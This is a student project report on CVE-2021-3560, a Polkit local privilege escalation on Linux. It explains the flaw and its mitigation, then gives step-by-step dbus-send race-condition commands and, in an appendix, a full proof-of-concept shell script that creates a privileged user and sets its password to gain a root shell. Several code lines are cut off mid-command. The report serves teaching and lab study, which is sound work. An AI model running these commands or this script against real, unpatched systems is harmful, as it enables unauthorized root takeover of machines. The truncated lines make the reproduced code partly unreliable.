Project Report

Kalan Barlo

Mark Bogdanov

05/03/2023

CVE-2021-3560 Polkit Privilege Escalation

The Polkit service is used by a wide range of Linux distributions to handle system-wide privileges. CVE-2021-3560 exploits its functionality by allowing a user with local access to a system to escalate their privileges to gain root access. The maliciously achieved root-level access could allow the attacker to take hold of the whole system and to carry leverage the high-level access to carry out additional attacks. The vulnerability is due to a flaw in Polkit's approach to authentication which is exploited to bypass the step for authentication on the way to prompting for the root access. The best way to mitigate this vulnerability is to update the system and the distro and ensure that Polkit is above version 0.118.

What is Polkit?

Polkit, formerly policyKit, is a way for different applications to run and communicate with each other using D-bus, a middleware process that allows processes to communicate with each other. Polkit allows sudo processes and non-sudo processes to run and communicate and allows a central controlling interface for system-wide privileges. For example, if you ran the 'pkexec' command in a terminal on a linux computer, a prompt would show up in the graphical interface asking for a sudo privileged password. However, using Polkit in a command line only interface allows you to interact with it on the command line.

Details on How the Exploit Works

The exploit is carried out by sending a series of specially crafted D-bus messages to Polkit, which is done to get Polkit to trigger a race condition that grants an authorization message without properly going through the whole authentication process. The attack also involves the XDG_RUNTIME_DIT environment variable which contains the path to where Polkit stores all of its authentication-related files and tokens. Gaining access to that directory allows for unauthenticated access to a system. Due to the timing being an important part of the attack, several attempts and a quick number of requests are made to have a higher chance of the attack being successful.

Demonstration

To pull a working Docker image for the lab run:

```
docker pull samuraiots/cve-2021-3560:latest
```

Create and start a container using that image by running

```
docker run --name projectLab -it samuraiots/cve-2021-3560 /bin/bash
```

Inside you should be able to see three files (All the contents of the files are in the Appendix)

- CVE-2021-3560_instructions.txt
    - The instructions for running the lab
- poc.sh
    - Exploit code
- Start.sh
    - A file that starts dbus since there is no startup process for docker
    - Runs as sudo, is the only command that notroot can run as sudo

First, run the start.sh file to remove stale PID file /var/run/dbus/pid. and startsystem message bus dbus.

```
start.sh
```

The following step finds the time it takes a command to finish. Ensure that the outputted times are written down.

```
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
```

During the demo of the attack, the following times were given:

real 0m0.008s

user 0m0.002s

sys 0m0.000s

Next, taking in account the “real” time, half it to get the half time it takes to run the dbus query. The reason for halving is because we want the process to be interrupted in the middle (when the process is still being worked on at the server level). In the command ensure to change the X.XXX time to half of the “real” time. You may need to run the command a couple of times as it may not work the first time. The following is the template command:

```
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs ; kill $!; done
```

To ensure that the attack worked, run the following command:

```
id samurai
```

It should now say that samurai user exists and show his permissions. If it doesn't, then run the attack again.

Then we need to create a hashed password, in this case, "iamsamurai". Use the following command to do that:

```
openssl passwd -5 iamsamurai
```

During the demo, it gave the following hash:

"5i.3QiylvuYARHTFk$TfIq7TSvEqEbLYDMlVnrHHgQS0fhizz7qsGozuPYIN6"

The next step is to replace the password hash with the newly generated hash. Ensure to change the hash string with your given hash and to change the X.XXX with the same half-time as before. Also take the UID of the account samurai and change the UUUU part of the command. Here is the command template:

```
for counter in {1..10000}; do dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-replay
/org/freedesktop/Accounts/UserUUUU
org.freedesktop.Accounts.User.SetPassword string:'Password Hash'
string:GoldenEye & sleep X.XXXs ; kill $!; done
```

Now you should be able to su into the new user and have root privileges!

```
su samurai
```

Alternative Workout Shell Script

The third file `poc.sh` is the modified version of an existing approach to this lab. Either navigate to the file and edit the file's field for username and password or when you call the file, use the command below.

Those will be used to log into the newly created user. Then simply execute the file. Then simply execute the shell script, it'll let you know if it ran successfully. Then su into the newly created user!

```
./poc.sh -u=samurai -p=samurai
```

This alternative script was offered to help, due to the nature of the docker compartmentalized environment. With the nature of this exploit being heavily timing based and non-deterministic, the code supplied can determine the time intervals at a higher level allowing it to have a much higher degree of success. The code runs the same lines of code in the primary approach however it is more of an automated process that should only need to be run less than five times.

Mitigation, Patches, and Countermeasures

The best way to mitigate the vulnerability is to apply publicly available patches for the exploit and to update one's system and ensure that Polkit is of a version higher than 0.118. Administrators should also be monitoring the logs for any suspicious activity that could indicate that the system was or is compromised. Currently, this exploit is patched and only available by downloading the first release of certain OS systems such as Ubuntu 20.04. To test the patched version, simply start a new docker container with the latest Ubuntu version and try to run the attack.

Final Notes

The code found in the poc.sh file was originally made by SecNigma, and posted to a public repository on Github. The link to his Github can be found here:

https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

Appendix A: Instructions

```
#find the time it takes for the command to finish:
time dbus-send --system --dest=org.freedesktop.Accounts
--type=method_call --print-reply /org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai"
int32:1

#take half the full time and replace X.XXX with it. This command will
input an acount with sudo privlage.
#Since this is a time based exploit you might need to run this
command several times
for counter in {1..10000}; do dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser
string:samurai string:"Samurai" int32:1 & sleep X.XXXs ; kil>
#confirms that an account was created (rerun previous if not)
id samurai

#create a hash for the following password
openssl passwd -5 iamsamurai

#insert password to the uid marked by UUUU
#replace X.XXX with the same time of command 2
#replace Password Hash with the hash just created
for counter in {1..10000}; do dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-replay
/org/freedesktop/Accounts/UserUUUU
org.freedesktop.Accounts.User.SetPassword string:'Password Hash'
string:GoldenEye & sl>
#su to the new account and you can now use sudo!
```

Appendix B: poc.sh

```
#!/bin/bash

$USR
$PASS
$TIME
$FORCE

RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Argparse
function usage(){
    echo "CVE-2021-3560 Polkit v0.105-26 Linux Privilege Escalation PoC by
SecNigma"
    echo ""
    echo "Original research by Kevin Backhouse"
    echo
"https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-
bug/#vulnerability"
    echo ""
    echo "USAGE:"
    echo "./poc.sh"
    echo "Optional Arguments:"
    echo -e "\t-h --help"
    echo -e "\t-u=Enter custom username to insert (OPTIONAL)"
    echo -e "\t-p=Enter custom password to insert (OPTIONAL)"
    echo -e "\t-f=y, To skip vulnerability check and force exploitation.
(OPTIONAL)"
    echo -e "\t-t=Enter custom sleep time, instead of automatic detection
(OPTIONAL)"
    echo -e "\tFormat to enter time: '-t=.004' or '-t=0.004' if you want to set
sleep time as 0.004ms "
    echo -e "Note:"
    echo -e "Equal to symbol (=) after specifying an option is mandatory."
    echo -e "If you don't specify the options, then the script will
automatically detect the possible time and"
    echo -e "will try to insert a new user using that time."
    echo -e "Default credentials are 'secnigma:secnigmaftw'"
    echo -e "If the exploit ran successfully, then you can login using 'su -
secnigma'"
    echo -e "and you can spawn a bash shell as root using 'sudo bash'"
    printf "${RED}IMPORTANT: THIS IS A TIMING BASED ATTACK. MULTIPLE TRIES ARE
USUALLY REQUIRED!!${NC}\n"
    echo -e ""
}


while [ "$1" != "" ]; do
    PARAM=`echo $1 | awk -F= '{print $1}'`
    VALUE=`echo $1 | awk -F= '{print $2}'`
    case $PARAM in
        -h | --help)
            usage
            exit
```

```
            ;;
        -u)
            USR=$VALUE
            ;;
        -p)
            PASS=$VALUE
            ;;
        -t)
            TIME=$VALUE
            ;;
        -f)
            FORCE=$VALUE
            ;;
        *)
            echo "ERROR: unknown parameter \"$PARAM\""
            usage
            exit 1
            ;;
    esac
    shift
done




if  [[ $USR ]];then
        username=$(echo $USR)
else
        username="secnigma"
fi
printf "\n"
printf "${BLUE}[!]${NC} Username set as : "$username"\n"
if  [[ $PASS ]];then
        password=$(echo $PASS)
else

        password="secnigmaftw"
fi
# printf "${BLUE}[!]${NC} Password set as: "$password"\n"

if  [[ $TIME ]];then
        printf "${BLUE}[!]${NC} Timing set to : "$TIME"\n"
else

        printf "${BLUE}[!]${NC} No Custom Timing specified.\n"
        printf "${BLUE}[!]${NC} Timing will be detected Automatically\n"
fi

if  [[ $FORCE ]];then
        printf "${BLUE}[!]${NC} Force flag '-f=y' specified.\n"
        printf "${BLUE}[!]${NC} Vulnerability checking is DISABLED!\n"
else

        printf "${BLUE}[!]${NC} Force flag not set.\n"
        printf "${BLUE}[!]${NC} Vulnerability checking is ENABLED!\n"
fi
```

```
t=""
timing_int=""
uid=""


function check_dist(){
        dist=$(cat /etc/os-release|grep ^ID= | cut -d = -f2 |grep -i
'centos\|rhel\|fedora\|ubuntu\|debian')
        echo $dist

}
function check_installed(){
        name1=$(echo $1)
        d1=$(echo $2)
        if [[  $(echo $d1 | grep -i 'debian\|ubuntu' ) ]]; then
                out=$(dpkg -l  | grep -i $name1|grep -i "query and manipulate
user account information\|utilities to configure the GNOME desktop")
                echo $out
        else
                if [[ $(echo $d1 | grep -i 'centos\|rhel\|fedora' ) ]]; then
                        out=$(rpm -qa  | grep -i $name1|grep -i
"gnome-control-center\|accountsservice")
                        echo $out
                fi
        fi
}

function check_polkit(){
        d=$(echo $1)
        if [[ $(echo $d|grep -i 'debian\|ubuntu') ]]; then
                out=$(dpkg -l | grep -i polkit|grep -i "0.105-26")
        else
                if [[ $(echo $d|grep -i 'centos\|rhel\|fedora') ]];then
                        out=$(rpm -qa | grep -i polkit|grep -i '0.11[3-9]')
                fi
        fi
        echo $out
}

function float_to_int(){
        floating=$(echo $1)
        temp_val=$(echo ${floating:2:$((${#floating}))}) # Remove point
        echo "`expr $temp_val / 1`"
}

function inc_float(){
        floating=$(echo $1)
        int_val=$(float_to_int $floating)
        val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val +
1`'/g')
        echo $val
}

function dec_float(){
        floating=$(echo $1)
```

```
        int_val=$(float_to_int $floating)
        val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val -
1`'/g')
        echo $val
}

function fetch_timing(){
exec 3>&1 4>&2 # Extra file descriptors to catch error
out=$( { time dbus-send --system --dest=org.freedesktop.Accounts
--type=method_call --print-reply /org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo
$username`" int32:1 2>&1 >/dev/null 2>>tmp=$(echo $out |grep -i "real"|awk -F
'.' '{print $2}')
tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))})
exec 3>&- 4>&- # release the extra file descriptors
echo $tmp_timing
}
function calculate_timing(){
tmp_timing=$(echo $1)
size_tmp_timing=(echo ${#tmp_timing})

t=$(awk "BEGIN {print `echo $tmp_timing/2`}")
echo $t
exit
size_t=$(echo ${#t})
if [[ "size_t" -gt "size_tmp_timing" ]] ; then
        t=${t%?}
else
        if [[ "size_t" -lt "size_tmp_timing" ]] ; then
                t=$(awk "BEGIN {print `echo $tmp_timing/2`}")
        fi
fi
echo $t
}



function insert_user(){
        # Time required to finish the whole dbus-send request
        time_fetched=$(fetch_timing)

        # Time to sleep
        timing=$(calculate_timing `echo "0."$time_fetched`)

        temp_count=$(inc_float `echo $timing`)
        count=$(float_to_int $temp_count)

        if [[ $TIME ]]; then
                t=""
                t=$(echo $TIME)
        else
                t=""
                t=$(echo $timing)
        fi
        if [[ $(id `echo $username` 2>/dev/null) ]]; then
                uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1)
                echo $uid","$t
```

```
        else

        loop_count=20
        for i in $(seq 1  $loop_count|sort -r)
        do
                if [[ $(id `echo $username` 2>/dev/null) ]];
                then
                       uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1)
                        echo $uid","$t
                else
                        dbus-send --system --dest=org.freedesktop.Accounts
--type=method_call --print-reply /org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo
$username`" int32:1 2>/dev/n>                fi


        done
fi

}
function insert_pass(){
        ti=$(echo $1)
        u_id=$(echo $2)
        hash1=$(openssl passwd -5 `echo -n $password`)
        temp_count=$(inc_float `echo $ti`)
        count=$(float_to_int $temp_count)
        time=$(echo $ti)
        loop_count=20
        for i in $(seq 1 $loop_count|sort -r)
        do
                dbus-send --system --dest=org.freedesktop.Accounts
--type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id`
org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1`
string:GoldenEye 2>/dev/nul>done
return 1

}

function exploit(){
                        printf "${BLUE}[!]${NC} Starting exploit...\n"
                        printf "${BLUE}[!]${NC} Inserting Username `echo
$username`...\n"

                        ret=$(insert_user)
                        t=$(echo $ret|cut -d , -f2)
                        uid=$(echo $ret|cut -d , -f1)

                        if [[ $(id `echo $username` |grep -i `echo $username`)
]]; then
                                printf "${GREEN}[+]${NC} Inserted Username
`echo $username`  with UID `echo $uid`!\n"
                                printf "${BLUE}[!]${NC} Inserting password
hash..."
                                echo $timing
                                ret=$(insert_pass $(echo $t) $(echo $uid))
                                if [[ "$ret" -ne "1" ]]; then
```

```
                                        printf "${BLUE}[!]${NC} It looks like
the password insertion was succesful!\n"
                                        printf "${BLUE}[!]${NC} Try to login as
the injected user using su - `echo $username`\n"
                                        printf "${BLUE}[!]${NC} When prompted
for password, enter your password \n"
                                        printf "${BLUE}[!]${NC} If the username
is inserted, but the login fails; try running the exploit again.\n"
                                        printf "${BLUE}[!]${NC} If the login
was succesful,simply enter 'sudo bash' and drop into a root shell!\n"
                                else
                                        printf "${BLUE}[!]${NC} It seems like
the password injection FAILED!\n"
                                        printf "${BLUE}[!]${NC} Aborting
Execution!\n"
                                        printf "${BLUE}[!]${NC} Usually
multiple attempts are required to get the timing right. Try running the exploit
again.\n"
                                        printf "${BLUE}[!]${NC} If the exploit
doesn't work after several tries, then you may have to exploit this
manually.\n"

                                fi


                        else
                                printf "${RED}[x]${NC} Insertion of Username
failed!\n"
                                printf "${BLUE}[!]${NC} Aborting Execution!\n"
                                printf "${BLUE}[!]${NC} Usually multiple
attempts are required to get the timing right. Try running the exploit
again.\n"
                                printf "${BLUE}[!]${NC} If the exploit doesn't
work after several tries, then you may have to exploit this manually.\n"
                        fi

}

if [[ "$FORCE" == "y" ]]; then
        exploit

else
        printf "${BLUE}[!]${NC} Starting Vulnerability Checks...\n"
        printf "${BLUE}[!]${NC} Checking distribution...\n"
        dist=$(check_dist)
        printf "${BLUE}[!]${NC} Detected Linux distribution as `echo $dist`\n"

        printf "${BLUE}[!]${NC} Checking if Accountsservice and
Gnome-Control-Center is installed\n"
        ac_service=$(check_installed $(echo "accountsservice") $dist)
        gc_center=$(check_installed $(echo "gnome-control-center") $dist)


        if [[ $ac_service && $gc_center ]]
        then
                printf "${GREEN}[+]${NC} Accounts service and
Gnome-Control-Center Installation Found!!\n"
```

```
                printf "${BLUE}[!]${NC} Checking if polkit version is
vulnerable\n"
                polkit=$(check_polkit $(echo $dist))
                if [[ $polkit ]]
                then
                        printf "${GREEN}[+]${NC} Polkit version appears to be
vulnerable!!\n"
                        exploit
                else
                        printf "${RED}[x]${NC} ERROR: Polkit version does not
appears to be vulnerable!!\n"
                        printf "${BLUE}[!]${NC}  Aborting Execution!"
                        printf "${BLUE}[!]${NC} You might want to use the
'-f=y' flag to force exploit\n"
                fi



        else
                printf "${RED}[x]${NC} ERROR: Accounts service and
Gnome-Control-Center NOT found!!\n"
                printf "${BLUE}[!]${NC}  Aborting Execution!\n"
        fi
fi
```

Appendix C: start.sh

```
#!/bin/bash
service dbus start
```